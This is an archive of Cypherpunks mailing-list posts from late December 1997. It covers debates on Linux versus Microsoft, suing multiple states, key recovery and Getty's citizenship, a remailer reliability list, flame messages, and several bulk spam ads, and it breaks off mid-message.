Date: Mon, 29 Dec 1997 19:59:03 +0800
Subject: Why I Support Microsoft
In-Reply-To: 
Message-ID: <1661-Mon29Dec1997034752-0800-Patrick May 



Tim May writes:
 > At 1:53 PM -0700 12/27/97, Patrick May wrote:
 > >The President should issue an executive order mandating that all
 > >government agencies immediately remove all Microsoft operating systems
 > >from their machines, to be replaced with Linux.  All Microsoft
 > >products should be eliminated as well.  The standard text format
 > >should be LaTeX.  All businesses receiving money from government
 > >contracts should be required to use the same tools.
[ . . . ]
 > 
 > Much to be said for this "free market solution." Certainly the Justice
 > Department has no business screaming "monopoly!" if it's still
 > "standardizing" on MS products.
[ . . . ]
 > On the other hand, requiring _any_ language, program, or OS is probably a
 > mistake. If the Arctic Cartography Office wants to keep using its Macs, why
 > should some bureaucrat force them to scrap their Macs and use Linux?
 > 
 > (Yeah, yeah, a form of Linux, MK-Linux, runs on Macs. But Adobe Photoshop
 > doesn't run under Linux. And Mathematica doesn't run under Linux for the
 > Mac (last I checked). And so on. The point is, why standardize at the end
 > of a gun?)

     Okay, so I'm a UNIX-head; I forgot about the Macs (a dangerous
thing to do, given the ferocity of their supporters).  If the
government were to adopt my suggestion, two major results would be:

     - The third party market for Linux software would grow rapidly
       and enormously.
     - The government's software budget would be reduced dramatically.

I consider both of these to be Good Things (tm).  The government
wouldn't be forcing anything at the point of a gun, they'd simply be
making a financially responsible vendor selection (hey, there's a
first time for everything).  Our tax dollars shouldn't be wasted on
substandard software when superior, cheaper alternatives exist.

Regards,

Patrick May
S P Engineering, Inc.






From anon at anon.efga.org  Mon Dec 29 04:21:49 1997
From: anon at anon.efga.org (Anonymous)
Date: Mon, 29 Dec 1997 20:21:49 +0800
Subject: No Subject
Message-ID: <031ce308b9b0af69c83a11320732d575@anon.efga.org>



Timmy May's reheated, refurbished, and 
regurgitated cud is completely 
inappropriate for the mailing lists into 
which it is cross-ruminated.

 ( )( )________ Timmy May
 /00           \      _
O_\\--mm---mm  /_______)






From reality at kcsmarketing.com  Mon Dec 29 20:47:16 1997
From: reality at kcsmarketing.com (reality at kcsmarketing.com)
Date: Mon, 29 Dec 1997 20:47:16 -0800 (PST)
Subject: need a life Style Change ?
Message-ID: <199712300445.XAA02467@ns.kcsmarketing.com>


This Message was Composed using Extractor Pro Bulk E- Mail Software. If 
you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.
///////////////////////////////////////////////////////////////////

     You now have the opportunity to join the most extraordinary and most powerful wealth building program in the world ! Because of your desire to succeed, you have been given the opportunity to  take a close look at this program. 
     If you're skeptical that's okay.  Just make the call and see for yourself. My job is to inform you, your job is to make your own decision.
     If You Didn't Make $200,000 Last Year... You Owe it to Yourself and Your Family to give Our Program Serious Consideration ! 
     Also, when you start making this kind of money within weeks, you will actually learn how you can preserve it and strategically invest it !
     I invite you to call me for more details, at 1-888-839-4318 this is a free 2 minute recording, so call right now !





From whgiii at invweb.net  Mon Dec 29 06:03:53 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Mon, 29 Dec 1997 22:03:53 +0800
Subject: NRA vs. KRA
In-Reply-To: <34A5DCD2.654AC12@avana.net>
Message-ID: <199712291400.JAA19072@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <34A5DCD2.654AC12 at avana.net>, on 12/28/97 
   at 12:00 AM, David Miller  said:

>Some of these players I would expect to sit at the key recovery table,
>but why SUN?  Any of you California dudes know what's up with that?

Government Contracts!!

Remember the Golden Rule: He who has the gold makes the rules.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKery49Co1n+aLhhAQGVcQP7BWu4B9iQk/Fqt5TlcaoLkXVq7GJDvonu
3NLO7mqJsD5lcbXVoG5XGLkH8cRl/sQTOS0T6An5JzPn7pafWp6PzU5WGvzdBM1h
NpnBTzN40/88oOgePc3mwdJ3hURB/qAgkEEGUT/mQUCcJaYRYXU8e74OmIKXm53E
IrHDvz2AXWE=
=ta+h
-----END PGP SIGNATURE-----






From whgiii at invweb.net  Mon Dec 29 06:40:43 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Mon, 29 Dec 1997 22:40:43 +0800
Subject: constitution.amendmentxi.html (fwd)
In-Reply-To: <199712290504.XAA00440@einstein.ssz.com>
Message-ID: <199712291440.JAA19396@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712290504.XAA00440 at einstein.ssz.com>, on 12/29/97 
   at 12:04 AM, Jim Choate  said:

>Of note is that this amendment *only* covers cases where a citizen sues a
>*single* state, not 49 of them.

>There is no Constitutional rule that covers the process between a
>individual and more than a single state. It simply ain't there.

Well considering that the Constitution is a *limiting* document, if the
powers are not explicitly given to the Federal Government they don't have
them.

Soooo, in the case of a citizen sues multiple states the Federal
Government still has no juristiction as they have never explicitly been
given that power.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKe1Fo9Co1n+aLhhAQHcmAQAwXaoWdS/llFXNBqJhzEISlX8uGlzoTbl
X14NV29B3DJPDUypjixV4WdPNhHTKqvVgwApO7k5vc3qqSgVidPfyAv06/+XtXLB
/l+vIFi/NAgVlm+RPI6Z5najruZamRMilUGSJRP05Y/+nJBSo0v/2sznAqzD8L0u
PdCQQQobEaU=
=BsJX
-----END PGP SIGNATURE-----






From kb1LGeasG at 206.165.6.202  Mon Dec 29 22:42:47 1997
From: kb1LGeasG at 206.165.6.202 (kb1LGeasG at 206.165.6.202)
Date: Mon, 29 Dec 1997 22:42:47 -0800 (PST)
Subject: Your New Merchant Account is Waiting
Message-ID: 



Your New Merchant Account is HERE.

Accept Visa, Master Card, Discover and American Express 
within the next 10 days.  Get INSTANT CREDIBILITY and 
make it easier for your customer to buy what you're selling !

Get all the information  1-800-601-2612

We've cut out all the RED TAPE !!!

 >  No "Tell us How You Do  Your Business" Questions
>>>  No Financial Statements
>>>>>  No Tax Returns
>>>>>>>  No Trade References
>>>>>>>>>  No Photos of Your Office

And NONE of the other BALONEY that most businesses, 
especially mail order, internet , and new businesses
ALWAYS have to go through.

Maybe You Have

>  A Mail Order Business
>>>  An Internet Business
>>>>>  A Home Based Business
>>>>>>>  No Past Financial Statements
>>>>>>>>>  A New Business
>>>>>>>>>>>  Past Credit Problems
>>>>>>>>>>>>>  Already Been Told NO

We use a 1 page Super Simple Approval Sheet
that a 6 year old could fill out in 5 minutes.

You see, We are large enough that  We actually
Approve the account ourselves... Your application
doesn't get submitted to some faceless Bank like 
it does with literally all other Merchant Account Providers.

Because of our financial strength we are authorized to
APPROVE the account in our offices and we do !!!
Then we GUARANTEE it to the Bank.  
(THEY CAN'T LOSE...THEY LIKE THAT)

WE PUT THROUGH 99.9% OF EVERYONE
WHO APPLIES !  But you have to have DEEP 
pockets to operate this way and we do.
That's how we can offer such a fantastic program.

We have been doing this so long we know
that most folks who come ot us are just honest, hard 
working business people  and we never have a problem.

So we designed this program just for YOU.

>>Process orders right from your PC

>>>Funds wired directly to your 
Personal or Business Bank Account 
FAST! FAST! FAST!

>>>>Very Competitive Rates, Great 24 hour Service, 

We are the Largest Provider of Merchant Accounts for 
Home Based and New Businesses on the Internet Today.  
We did over 2 billion in transactions last year and we 
want  to double that in '98 !!

To do that we have used our size and financial clout
to get you the fastest mos   >>>USER FRIENDLY<<<<
Program ever offered !

If you are ready to do a lot more business 
(anyone who accepts credit cards does...) 
Then We want to work with YOU
Call right Now to get all the information
and get started.  You will soon be accepting Credit
Cards in your business and be making MORE MONEY !

Better order more product... 
>>>>>>>>>>>You're gonna need it !!!

Call 1-800-601-2612 Today.













From ravage at ssz.com  Mon Dec 29 06:53:03 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 22:53:03 +0800
Subject: constitution.amendmentxi.html (fwd)
Message-ID: <199712291511.JAA01429@einstein.ssz.com>



Forwarded message:

> From: "William H. Geiger III" 
> Date: Mon, 29 Dec 97 08:32:34 -0600
> Subject: Re: constitution.amendmentxi.html (fwd)

> >Of note is that this amendment *only* covers cases where a citizen sues a
> >*single* state, not 49 of them.
> 
> >There is no Constitutional rule that covers the process between a
> >individual and more than a single state. It simply ain't there.
> 
> Well considering that the Constitution is a *limiting* document, if the
> powers are not explicitly given to the Federal Government they don't have
> them.
> 
> Soooo, in the case of a citizen sues multiple states the Federal
> Government still has no juristiction as they have never explicitly been
> given that power.

So what you are saying, though I doubt you realize it, is that a citizen
*can't* sue 2 or more states as a group. They *must* sue singly and in the
individual state courts.

Of course, this isn't explicity described either, so where does this
authority come from?

This means there is no way to sue states as a group for their actions in
regards to relations to the federal government. So the federal government
can require the states to do all kinds of things and I as a citizen and
effected by those actions can't sue the states but only the federal
government.

Interesting hole. I wonder if it will hold up.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From frissell at panix.com  Mon Dec 29 06:57:16 1997
From: frissell at panix.com (Duncan Frissell)
Date: Mon, 29 Dec 1997 22:57:16 +0800
Subject: Getty Renounces US Citizenship
In-Reply-To: <199712290541.XAA00560@einstein.ssz.com>
Message-ID: <3.0.2.32.19971229094129.0378f58c@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 11:41 PM 12/28/97 -0600, Jim Choate wrote:
   
>                   JOHN PAUL GETTY II NOW A BRITISH CITIZEN
>                                       
>     The London Sunday Telegraph says the philanthropist has become a
>     British citizen and revoked his U.S. citizenship. Sources in the
>     British government confirm the move.

That would be "renounced" his US citizenship.  

Since he is a UK *resident* as well as a UK *citizen* his move won't save 
much in the way of taxes unless the bulk of his assets are in offshore trusts 
which have been treated more leniently in the UK than in the US.


UK News Electronic Telegraph Sunday 28 December 1997

Issue 947

Paul Getty realises his dream: a British passport 

By James Hardy, Home Affairs Editor

J PAUL Getty II, the billionaire philanthropist, has sealed his love affair 
with Britain by taking out UK citizenship after 25 years' residence in this 
country.

The heir to what was once the world's largest private oil fortune received 
his British passport in the week before Christmas and immediately revoked his 
US nationality, The Telegraph has learned. Mr Getty, 65, who rarely gives 
interviews, is understood to be delighted at the alacrity with which his 
application was processed by the Home Office. The American Government is, by 
contrast, thought to be very disappointed with the development. Typically, Mr 
Getty has chosen not to publicise his change of status.

The adoption of British nationality will automatically attract the close 
attention of the Inland Revenue but friends claimed last night the prospect 
of a major increase in his tax bill did not deter him from seeking 
citizenship. They said his well known affection for the British way of life 
was the overriding factor in his decision. "Paul has given so much to this 
country over the years. It is wonderful that the country has given something 
back to him. I have no idea why he waited until now to apply," said one 
friend.

The son of John Paul Getty , formerly the world's richest man, J Paul Getty 
II has become one of the greatest benefactors the country has ever known. His 
fortune has been estimated at more than �1 billion and he is believed to have 
given away more than �120 million to deserving causes in Britain. He gave �50 
million to the National Gallery, �20 million to the British Film Institute 
and a substantial donation to the building of the Mound Stand at Lord's 
cricket ground.

Thousands of smaller donations, often anonymous, have helped charity appeals 
or raised money for causes ranging from the Special Air Service to religious 
institutions. Friends say that Mr Getty has found a happiness in Britain that 
eluded him for much of his early life. His generosity to British institutions 
was recognised with the award of an honorary knighthood in 1986.

Mr Getty retains a flat adjoining the Ritz Hotel in London but spends most of 
his time at his 2,500 acre country estate at Wormsley, Bucks. He moved to 
Britain permanently the year after the death of his second wife, Tabitha Pol, 
from an accidental drugs overdose in Rome in 1971. In 1994, he married 
Victoria Holdsworth, a long-time British friend. She is widely credited with 
his gradual re-emergence into public life after years when he was rarely 
seen.


UK News Electronic Telegraph Monday 29 December 1997

Issue 948

Citizenship may give Getty his knight's title By Sandra Barwick

J PAUL Getty II, the American billionaire who has given millions to charities 
in this country, is likely to be able to use the title "Sir" after being made 
a British citizen.

Mr Getty's generosity to British charities was recognised in 1986 when he was 
awarded a KBE, or honorary knighthood, a title he was unable to use because 
he was not a British citizen.

But with the Christmas gift of citizenship, which Home Office sources 
confirmed was granted a week before the holiday, Mr Getty may in future be 
formally accepted as Sir Paul and his wife as Lady Getty.

A 10 Downing Street spokesman said she understood that a recommendation could 
be made to the Queen that the title be formally granted and announced in such 
cases. But Buckingham Palace was unable to comment yesterday.

Other non-British holders of the KBE include Bob Geldof, who is an Irish 
citizen. Mr Getty's accession to citizenship since the honour was awarded is 
unusual, but not unprecedented.

The present Lord Menuhin was made an honorary KBE in 1965 in the same way, 
but became Sir Yehudi Menuhin after he took British nationality in 1985. He 
was later made a life peer.

Heir to what was once the world's largest private oil fortune, Mr Getty, 65, 
has a flat in central London and a 2,500-acre estate at Wormsley, Bucks. He 
is reported to have revoked his US nationality. His affection for Britain is 
well known and friends say he found a happiness here that eluded him for much 
of his earlier life. Son of John Paul Getty, the richest man in the world in 
his day, J Paul Getty II is one of Britain's greatest benefactors.

With an estimated fortune of �1 billion, he has given donations thought to 
total more than �120 million to causes including the National Gallery (�50 
million) and the British Film Institute (�20 million). Mr Getty, a cricket 
enthusiast, also made a substantial donation towards the building of the 
Mount Stand at Lord's, along with thousands of smaller gifts, often 
anonymously, to causes ranging from the SAS to religious institutions.

Three years ago he married Victoria Holdsworth, a British friend widely 
credited with his gradual re-emergence into public life after years when he 
was rarely seen. He moved to Britain permanently in 1972, a year after the 
death of Talitha Pol, his second wife, from an accidental drugs overdose in 
Rome.

************

DCF





-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNKe2k4VO4r4sgSPhAQGwrwQArmWp9Tm6fg/6h1LRdQ/6qJIG/dI3HX+R
ewfHRpCEzTGJ/mJEmDRvmxiAb7kVCR+tFNANbumGJCpdAAF+xsMFYbQkAen+ilbb
n+CT+t8RYoY0G4S3t8RwEKSgY/wg55hw1Sr7cp7aH32bu3Qa3aVFyQ5xm7yAHZql
be8T8e8Q9fA=
=vRKL
-----END PGP SIGNATURE-----






From landon at best.com  Mon Dec 29 06:58:16 1997
From: landon at best.com (landon dyer)
Date: Mon, 29 Dec 1997 22:58:16 +0800
Subject: Why I Support Microsoft
In-Reply-To: 
Message-ID: <3.0.3.32.19971229065217.00a2b1b0@shell9.ba.best.com>



At 03:47 AM 12/29/97 -0800, you wrote:
>
>  [lots of linux-vs-microsoft stuff deleted, then:]
>
>     - The third party market for Linux software would grow rapidly
>       and enormously.
>     - The government's software budget would be reduced dramatically.
>
>I consider both of these to be Good Things (tm).  The government
>wouldn't be forcing anything at the point of a gun, they'd simply be
>making a financially responsible vendor selection (hey, there's a
>first time for everything).  Our tax dollars shouldn't be wasted on
>substandard software when superior, cheaper alternatives exist.


  i haven't touched unix or linux in a long time, but i submit that
your ordinary GS-4 secretary can deal with microsoft word a lot more
efficiently than s/he can deal with vi/emacs/latex.  i assume there are
better tools available on *ix platforms these days, which actually
destroys my argument:

  do you really want the government to be more efficient?  :-)


peace,

-landon






From raph at CS.Berkeley.EDU  Mon Dec 29 07:01:41 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 29 Dec 1997 23:01:41 +0800
Subject: List of reliable remailers
Message-ID: <199712291450.GAA08637@kiwi.cs.berkeley.edu>



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{'cyber'} = ' alpha pgp';
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = ' newnym pgp';
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = " cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = ' newnym pgp';
$remailer{"bureau42"} = " cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = " cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = " mix";
$remailer{"medusa"} = " mix middle"
$remailer{"McCain"} = " mix middle";
$remailer{"valdeez"} = " cpunk pgp pgponly hash ek";
$remailer{"arrid"} = " cpunk pgp pgponly hash ek";
$remailer{"hera"} = " cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = " cpunk pgp hash latent cut post ek";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

This remailer list is somewhat phooey. Go check out
http://www.publius.net/rlist.html for a good one.

Last update: Thu 23 Oct 97 15:48:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hera     goddesshera at juno.com             ------------  5:03:45  99.86%
nym      config at nym.alias.net             +*#**#**###       :34  95.82%
redneck  config at anon.efga.org             #*##*+#****      2:00  95.44%
mix      mixmaster at remail.obscura.com     +++ ++++++*     19:18  95.27%
squirrel mix at squirrel.owl.de              -- ---+---    2:34:19  95.16%
cyber    alias at alias.cyberpass.net        *++***+ ++      11:26  95.11%
replay   remailer at replay.com              ****   ***      10:06  94.93%
arrid    arrid at juno.com                   ----.------   8:50:34  94.41%
bureau42 remailer at bureau42.ml.org          ---------    3:38:29  93.53%
cracker  remailer at anon.efga.org           +  +*+*+*+      16:32  92.80%
jam      remailer at cypherpunks.ca          +  +*-++++      24:14  92.79%
winsock  winsock at rigel.cyberpass.net      -..-..----    9:59:18  92.22%
neva     remailer at neva.org                ------****+   1:03:02  90.39%
valdeez  valdeez at juno.com                               4:58:22 -36.97%
reno     middleman at cyberpass.net                        1:01:28  -2.65%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien






From dlv at bwalk.dm.com  Mon Dec 29 07:05:24 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 29 Dec 1997 23:05:24 +0800
Subject: NRA vs. KRA
In-Reply-To: <199712291400.JAA19072@users.invweb.net>
Message-ID: 



"William H. Geiger III"  writes:

> In <34A5DCD2.654AC12 at avana.net>, on 12/28/97
>    at 12:00 AM, David Miller  said:
>
> >Some of these players I would expect to sit at the key recovery table,
> >but why SUN?  Any of you California dudes know what's up with that?
>
> Government Contracts!!
>
> Remember the Golden Rule: He who has the gold makes the rules.

Remember the guy Sun Micro fired for posting "homophobic" jokes to Usenet?
Now I boycott Suns.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From ravage at ssz.com  Mon Dec 29 07:09:23 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 29 Dec 1997 23:09:23 +0800
Subject: Right to sue multiple states...
Message-ID: <199712291529.JAA01672@einstein.ssz.com>



 
			       ARTICLE III. 
 
Section 2.  The judicial Power shall extend to all Cases, in Law and Equity, 
arising under this Constitution, the Laws of the United States, and Treaties 
made, or which shall be made, under their Authority;
[deleted text]
between Citizens of different States;
[deleted text]

Clearly my suing say the govenor and legislature of each of the 50 states
qualifies as a case involving citizens of different states and therefore
there is clearly a right to sue multiple states at the federal level and
falls under the responsibility of the Supreme Court.



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From guy at panix.com  Mon Dec 29 07:14:51 1997
From: guy at panix.com (Information Security)
Date: Mon, 29 Dec 1997 23:14:51 +0800
Subject: Vulis again
Message-ID: <199712291501.KAA08473@panix2.panix.com>



   >   Date: Mon, 29 Dec 1997 07:18:08 -0500
   >   Message-ID: <031ce308b9b0af69c83a11320732d575 at anon.efga.org>
   >   From: Anonymous 
   >   
   >   Timmy May's reheated, refurbished, and 
   >   regurgitated cud is completely 
   >   inappropriate for the mailing lists into 
   >   which it is cross-ruminated.
   >   
   >    ( )( )________ Timmy May
   >    /00           \      _
   >   O_\\--mm---mm  /_______)

I see you are still sending ascii-art decorated
sweet little nothings to the people you love...

---guy

   Medication refill time, Dimitry.






From whgiii at invweb.net  Mon Dec 29 07:43:49 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Mon, 29 Dec 1997 23:43:49 +0800
Subject: constitution.amendmentxi.html (fwd)
In-Reply-To: <199712291511.JAA01429@einstein.ssz.com>
Message-ID: <199712291541.KAA19927@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291511.JAA01429 at einstein.ssz.com>, on 12/29/97 
   at 09:11 AM, Jim Choate  said:

>Forwarded message:

>> From: "William H. Geiger III" 
>> Date: Mon, 29 Dec 97 08:32:34 -0600
>> Subject: Re: constitution.amendmentxi.html (fwd)

>> >Of note is that this amendment *only* covers cases where a citizen sues a
>> >*single* state, not 49 of them.
>> 
>> >There is no Constitutional rule that covers the process between a
>> >individual and more than a single state. It simply ain't there.
>> 
>> Well considering that the Constitution is a *limiting* document, if the
>> powers are not explicitly given to the Federal Government they don't have
>> them.
>> 
>> Soooo, in the case of a citizen sues multiple states the Federal
>> Government still has no juristiction as they have never explicitly been
>> given that power.

>So what you are saying, though I doubt you realize it, is that a citizen
>*can't* sue 2 or more states as a group. They *must* sue singly and in
>the individual state courts.

>Of course, this isn't explicity described either, so where does this
>authority come from?

- From the laws and Constitutions of the individule states.

>This means there is no way to sue states as a group for their actions in
>regards to relations to the federal government. So the federal government
>can require the states to do all kinds of things and I as a citizen and
>effected by those actions can't sue the states but only the federal
>government.

>Interesting hole. I wonder if it will hold up.

Well you can only sue the state that has caused some form of direct damage
against you. If both Texas and Alaska are doing somthing Unconstitutional
but Texas is the only one who has directly caused damage then you should
only be able to sue Texas. Even if Alaska is doing the exact same thing
unless they have directly caused damage against you there is no basis to
included them as a party in your suit. There will be exceptions to this
and one may very well have to sue each state in it's own courts if you
have greviances with more than one State. I think that in the majority of
cases one will find that a greviance will be limited to a single state (I
think it would be very rare to find a case where all 50 states had
directly caused damage against an individule).

An example of this would be back in the 50's with the forced segregation
laws. If you were living in Georga and wished to bring suit against the
state for violating your rights you would be limited to only suing Georga
even though AL,FL,SC,NC,TX,AR, all had the same laws on the books. Now you
could travel to each of those states and then have greviances against each
one but each greviance would be independent of each other and require
seperate suits against them.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKfDVI9Co1n+aLhhAQFx/QP+KaQV0oWAYFzDM6+aByiHUrNWq4m7URMx
QgJEbDVZaa0NdRQ2wzV9kGlBGpxXzag6Z1e6GDiPA8m/0j+Rj/TTgLw/WxgiIcL6
D7fwtBqftQbB8AlAmgZIS4k3UOpL88mANs3veMBWM/QJWIoMN2S+t1T/pdKzwn4d
Hp2oMqCUohg=
=5MsM
-----END PGP SIGNATURE-----






From whgiii at invweb.net  Mon Dec 29 07:50:32 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Mon, 29 Dec 1997 23:50:32 +0800
Subject: Right to sue multiple states...
In-Reply-To: <199712291529.JAA01672@einstein.ssz.com>
Message-ID: <199712291550.KAA20002@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291529.JAA01672 at einstein.ssz.com>, on 12/29/97 
   at 10:29 AM, Jim Choate  said:

> 
>			       ARTICLE III. 
> 
>Section 2.  The judicial Power shall extend to all Cases, in Law and
>Equity,  arising under this Constitution, the Laws of the United States,
>and Treaties  made, or which shall be made, under their Authority;
>[deleted text]
>between Citizens of different States;
>[deleted text]

>Clearly my suing say the govenor and legislature of each of the 50 states
>qualifies as a case involving citizens of different states and therefore
>there is clearly a right to sue multiple states at the federal level and
>falls under the responsibility of the Supreme Court.

Good point execpt are we talking of suing a States' governemnt for damages
or are we talking of suing individules, who happen to be part of a State's
government, for damages? I think that it is universal that one is
precluded from suing a memeber of government for carying out the duties of
office (ie: you can't sue the Governor of Texas for passing a law you
don't like while you can sue the govenor if hits your car going down the
road).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKfFc49Co1n+aLhhAQEtCwP9GsaMy4B0MqSTCBuXCfukoLw+AZ5cWW4V
kEdWBiIO0iZAID8ud+uJr8K1XgsfEbfqwJ6rQgQChs4hunzD2NrQCb4hFIAO8I4o
m6iF9xzRB+sQPkYte5CpINAlnVgobcKPzkIpFSaMYOXI7u2prN2IxZqkYNLxiYSs
phUTt0hrt0I=
=LAhp
-----END PGP SIGNATURE-----






From eureka-help at eureka.abc-web.com  Mon Dec 29 07:54:54 1997
From: eureka-help at eureka.abc-web.com (eureka-help at eureka.abc-web.com)
Date: Mon, 29 Dec 1997 23:54:54 +0800
Subject: Successful Subscription
Message-ID: <883409961.6321.ezmlm@eureka.abc-web.com>



WELCOME TO EUREKA!
==================

Congratulations,  your free subscription to the Eureka!
newsletter is now set up. We hope you enjoy every copy.
As promised,  while you wait  for your first newsletter
here are the links to  the FREE videos and FREE photos!

FREE hardcore videos ........... http://207.168.184.26/
FREE hardcore photos .... http://209.50.232.36/desires/

- Eureka! *FREE porn in your email!*






From ravage at ssz.com  Mon Dec 29 08:03:07 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 00:03:07 +0800
Subject: constitution.amendmentxi.html (fwd)
Message-ID: <199712291621.KAA01960@einstein.ssz.com>



Forwarded message:

> From: "William H. Geiger III" 
